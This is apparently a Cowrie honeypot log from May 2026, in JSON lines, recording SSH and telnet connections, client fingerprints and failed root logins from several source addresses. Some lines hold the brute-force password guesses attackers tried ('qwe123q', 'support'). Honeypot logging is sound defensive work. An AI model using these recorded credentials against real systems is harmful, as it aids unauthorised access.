{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:26:c4:3b:83:0c:1c:c4:02:87:cb:32:a8:bc:1b:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSeCK376JCWtcH3Rt/5YmWQbUX9cdt8FWLE3pQPNh0gmZo3VqxF17O22J3nWyvH6VOsXv4nlqJlFqP4oyzpI+OoCMN4kxjZJeXKXmjIefaNTRC3T2zEqqXSho0P1X9Xj3YIr0+Amw5cGZupGdB5oFA+R0QT52EN0gVlO38eothFdHd6qxlHze3kT9YkNc5jwharorUW5g08tSTrJUMHP79H7TETTGwCIGZBYTW8RwvjehLR7W7TorIbpG7pwbJr4VeKR9QJr23922xHOXgnYPo39XmDsb4rvE8O6oTX36JFMZUVuPHAFdpqBv517gCm6HqnkgEgf5uI+bOCJQxDCbv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.171578Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:a4:e5:9b:cb:1e:1a:85:f9:9c:78:1c:61:d1:3d:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvpSvbk/2fl8QwO3j4JJglahVkutvRrk/RFPdmVRQqOZfLiZSINeo6FoV02pVIf/TcruJ58xMNMyoRKLiTn3paxbvv3+avGrrBKXmBj/L+5KRBBOFWPx3O4nzEtLBTK/HhbSZR6KUsn0ns9i4B0nBjQUc9Ws0vrC3SY4V9kDTMxtKPPX3hKgNBFwLNIuEQEvEkpjuTt5cRA+EqvnzdYBoiIu69+toVBzaOhcC/derLWBQmwkDPPljIYUq/r7RmneHwzA863rOU7G4usJEy+R4Rs1GJ3TR2xthFCkQEVcthBgvPr9cvPpKhIwuLa2HqhP/cOOWnaQwM9bcKQRZFL+QB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:a4:e5:9b:cb:1e:1a:85:f9:9c:78:1c:61:d1:3d:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.244709Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:a4:e5:9b:cb:1e:1a:85:f9:9c:78:1c:61:d1:3d:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvpSvbk/2fl8QwO3j4JJglahVkutvRrk/RFPdmVRQqOZfLiZSINeo6FoV02pVIf/TcruJ58xMNMyoRKLiTn3paxbvv3+avGrrBKXmBj/L+5KRBBOFWPx3O4nzEtLBTK/HhbSZR6KUsn0ns9i4B0nBjQUc9Ws0vrC3SY4V9kDTMxtKPPX3hKgNBFwLNIuEQEvEkpjuTt5cRA+EqvnzdYBoiIu69+toVBzaOhcC/derLWBQmwkDPPljIYUq/r7RmneHwzA863rOU7G4usJEy+R4Rs1GJ3TR2xthFCkQEVcthBgvPr9cvPpKhIwuLa2HqhP/cOOWnaQwM9bcKQRZFL+QB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.248797Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:7b:99:c3:e5:07:ea:8f:b7:31:71:15:33:04:5b:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3iyeMo0pKWVb8b4ihZIzHMucuHZ2dF5C7t5yNU452b2pmbpyYnhGkY2JnMuCZ9bAcSq/EuC+71xi2P9VUlhsi0P9qZ2m5mkQ+oXPa9UdE2WktlbYOC1XK+4KtpNkYCvFY4owRmP5jZR8lGts8LxqHhxDF1ZbPqhffENiL0NTaadmdDWJVCAC1w/X/3nmHzXtbw5zVSJhRAOjxFjIV+uRs6s8gFYKMDZMU2swIwQFkqebxbZ1Rmmm92mxXwHWPt76VkhZKLnqIqXLnc2xGD70Ko1EtXmX8gvpxQy7sc1iHA0JqPJpoNA1tx38uJVrbZtGHUVQ39GBhRyCsCIWEsf8tF7wQKUF4rSaA+KV0pGIpCuIyF7AFijqZNRTj9VM4FCBGhdJN8JVFOauw0kDWJVDAlwjjpge5iyvNhPjwrNe8wk4UjdeN7k/iXDUP64cKnDWNyJmLWLe1ZdUfRLs0UE8YTNDzyERIycybWw6MgIAFfudFl7vfrCOCjfI3MPtUet8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:7b:99:c3:e5:07:ea:8f:b7:31:71:15:33:04:5b:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.321622Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:7b:99:c3:e5:07:ea:8f:b7:31:71:15:33:04:5b:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3iyeMo0pKWVb8b4ihZIzHMucuHZ2dF5C7t5yNU452b2pmbpyYnhGkY2JnMuCZ9bAcSq/EuC+71xi2P9VUlhsi0P9qZ2m5mkQ+oXPa9UdE2WktlbYOC1XK+4KtpNkYCvFY4owRmP5jZR8lGts8LxqHhxDF1ZbPqhffENiL0NTaadmdDWJVCAC1w/X/3nmHzXtbw5zVSJhRAOjxFjIV+uRs6s8gFYKMDZMU2swIwQFkqebxbZ1Rmmm92mxXwHWPt76VkhZKLnqIqXLnc2xGD70Ko1EtXmX8gvpxQy7sc1iHA0JqPJpoNA1tx38uJVrbZtGHUVQ39GBhRyCsCIWEsf8tF7wQKUF4rSaA+KV0pGIpCuIyF7AFijqZNRTj9VM4FCBGhdJN8JVFOauw0kDWJVDAlwjjpge5iyvNhPjwrNe8wk4UjdeN7k/iXDUP64cKnDWNyJmLWLe1ZdUfRLs0UE8YTNDzyERIycybWw6MgIAFfudFl7vfrCOCjfI3MPtUet8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.326944Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:c6:8d:3a:50:11:f3:30:46:b0:8e:da:0c:a1:95:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB+rIjTKyZxXPpPTINZlEnKwBRJ3hkSQRbbL9ZD8OpRINE+gmowKSLSXLN1d3Uj4m7hFh4n4lkxZi3dx3B06U5U5aIdHU0xJXXRcI1Z5MkooPtOOSEVpK7PUvnM1o3oQ4A7M9otnRsQtGm2OMl41KneUgFzz7Jq3E1giLk07gI4zEJV/Bq8j52Jnh9cQpKXcJYhN7wwVUGSVhIxf6Z05Vj4dQ9kV0p1ywjxLxXFvEQt21ZsPz9d5/lDyNKlzwH50DgAn5sv6e3k1SDRkzIGlt77LKVz9eQM2avQdsneNaRl53mpJCGOMEXKorq+56Ml3SMGGb0A+ozUe2ta5Pb4maV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:c6:8d:3a:50:11:f3:30:46:b0:8e:da:0c:a1:95:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.399701Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:c6:8d:3a:50:11:f3:30:46:b0:8e:da:0c:a1:95:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB+rIjTKyZxXPpPTINZlEnKwBRJ3hkSQRbbL9ZD8OpRINE+gmowKSLSXLN1d3Uj4m7hFh4n4lkxZi3dx3B06U5U5aIdHU0xJXXRcI1Z5MkooPtOOSEVpK7PUvnM1o3oQ4A7M9otnRsQtGm2OMl41KneUgFzz7Jq3E1giLk07gI4zEJV/Bq8j52Jnh9cQpKXcJYhN7wwVUGSVhIxf6Z05Vj4dQ9kV0p1ywjxLxXFvEQt21ZsPz9d5/lDyNKlzwH50DgAn5sv6e3k1SDRkzIGlt77LKVz9eQM2avQdsneNaRl53mpJCGOMEXKorq+56Ml3SMGGb0A+ozUe2ta5Pb4maV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.404421Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.483278Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58210,"dst_ip":"159.203.135.109","dst_port":22,"session":"7802988407f9","protocol":"ssh","message":"New connection: 89.223.69.22:58210 (159.203.135.109:22) [session: 7802988407f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:26.748456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:26.752924Z","src_ip":"89.223.69.22","session":"7802988407f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:26.864670Z","src_ip":"89.223.69.22","session":"7802988407f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfcgjhn","message":"login attempt [root/gfcgjhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:27.202620Z","src_ip":"89.223.69.22","session":"7802988407f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:28.317410Z","src_ip":"89.223.69.22","session":"7802988407f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52268,"dst_ip":"10.17.0.5","dst_port":23,"session":"753bbf33e5c4","protocol":"telnet","message":"New connection: 192.119.13.58:52268 (10.17.0.5:23) [session: 753bbf33e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:28.571466Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54622,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ce3d596782","protocol":"telnet","message":"New connection: 192.119.13.58:54622 (10.17.0.5:23) [session: 11ce3d596782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:29.118132Z"}
{"eventid":"cowrie.session.closed","duration":48.19250559806824,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:31.631721Z","src_ip":"192.119.13.58","session":"f1f9310c7eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47364,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bff0c257b55","protocol":"telnet","message":"New connection: 192.119.13.58:47364 (10.17.0.5:23) [session: 1bff0c257b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:34.351165Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50530,"dst_ip":"10.17.0.5","dst_port":23,"session":"989cce4a3b8f","protocol":"telnet","message":"New connection: 192.119.13.58:50530 (10.17.0.5:23) [session: 989cce4a3b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:35.140622Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0a2c2bb2c0","protocol":"telnet","message":"New connection: 192.119.13.58:48850 (10.17.0.5:23) [session: ea0a2c2bb2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:41.949044Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53724,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a901802386f","protocol":"telnet","message":"New connection: 192.119.13.58:53724 (10.17.0.5:23) [session: 7a901802386f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:43.176838Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57270,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ee0247cc85","protocol":"telnet","message":"New connection: 192.119.13.58:57270 (10.17.0.5:23) [session: 14ee0247cc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:44.167208Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":47420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c0d4315e210","protocol":"ssh","message":"New connection: 41.242.115.83:47420 (159.203.135.109:22) [session: 7c0d4315e210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:46.523814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:46.529348Z","src_ip":"41.242.115.83","session":"7c0d4315e210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:46.740436Z","src_ip":"41.242.115.83","session":"7c0d4315e210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":39448,"dst_ip":"10.17.0.5","dst_port":22,"session":"795bb0b6e9af","protocol":"ssh","message":"New connection: 62.133.62.83:39448 (10.17.0.5:22) [session: 795bb0b6e9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:46.844720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:46.849514Z","src_ip":"62.133.62.83","session":"795bb0b6e9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:46.929493Z","src_ip":"62.133.62.83","session":"795bb0b6e9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123q","message":"login attempt [root/qwe123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:47.173678Z","src_ip":"62.133.62.83","session":"795bb0b6e9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:47.611241Z","src_ip":"41.242.115.83","session":"7c0d4315e210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9182677268981934,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:48.085350Z","src_ip":"192.119.13.58","session":"14ee0247cc85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:48.254949Z","src_ip":"62.133.62.83","session":"795bb0b6e9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:48.825133Z","src_ip":"41.242.115.83","session":"7c0d4315e210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c202d2814c4d","protocol":"telnet","message":"New connection: 192.119.13.58:44432 (10.17.0.5:23) [session: c202d2814c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:55.084939Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"2469cfc6ebfc","protocol":"telnet","message":"New connection: 192.119.13.58:52468 (10.17.0.5:23) [session: 2469cfc6ebfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:57.130348Z"}
{"eventid":"cowrie.session.closed","duration":0.010087013244628906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:57.140299Z","src_ip":"192.119.13.58","session":"2469cfc6ebfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36466,"dst_ip":"10.17.0.5","dst_port":23,"session":"c210faa66f38","protocol":"telnet","message":"New connection: 192.119.13.58:36466 (10.17.0.5:23) [session: c210faa66f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:00.139397Z"}
{"eventid":"cowrie.session.closed","duration":41.32927393913269,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:00.888114Z","src_ip":"192.119.13.58","session":"ad570d921677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.63329482078552,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:01.338572Z","src_ip":"192.119.13.58","session":"0a768ab6a3e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea8248d5c02","protocol":"telnet","message":"New connection: 192.119.13.58:41712 (10.17.0.5:23) [session: 7ea8248d5c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:01.501119Z"}
{"eventid":"cowrie.session.closed","duration":45.94273352622986,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:05.209406Z","src_ip":"192.119.13.58","session":"2548e317fd2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.481862545013428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:06.622355Z","src_ip":"192.119.13.58","session":"989cce4a3b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36830,"dst_ip":"10.17.0.5","dst_port":23,"session":"807c8106b55d","protocol":"telnet","message":"New connection: 192.119.13.58:36830 (10.17.0.5:23) [session: 807c8106b55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:07.529446Z"}
{"eventid":"cowrie.session.closed","duration":42.35849118232727,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:10.929814Z","src_ip":"192.119.13.58","session":"753bbf33e5c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.22703242301941,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:12.344899Z","src_ip":"192.119.13.58","session":"11ce3d596782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.110886335372925,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:15.878579Z","src_ip":"192.119.13.58","session":"070d26bd46b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44070076942444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:19.617415Z","src_ip":"192.119.13.58","session":"7a901802386f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.19374203681946,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:21.142666Z","src_ip":"192.119.13.58","session":"ea0a2c2bb2c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.77044868469238,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:25.121494Z","src_ip":"192.119.13.58","session":"1bff0c257b55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41338,"dst_ip":"10.17.0.5","dst_port":23,"session":"62deebb53557","protocol":"telnet","message":"New connection: 192.119.13.58:41338 (10.17.0.5:23) [session: 62deebb53557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:31.956368Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51348,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5926ce43d32","protocol":"telnet","message":"New connection: 192.119.13.58:51348 (10.17.0.5:23) [session: b5926ce43d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:33.698713Z"}
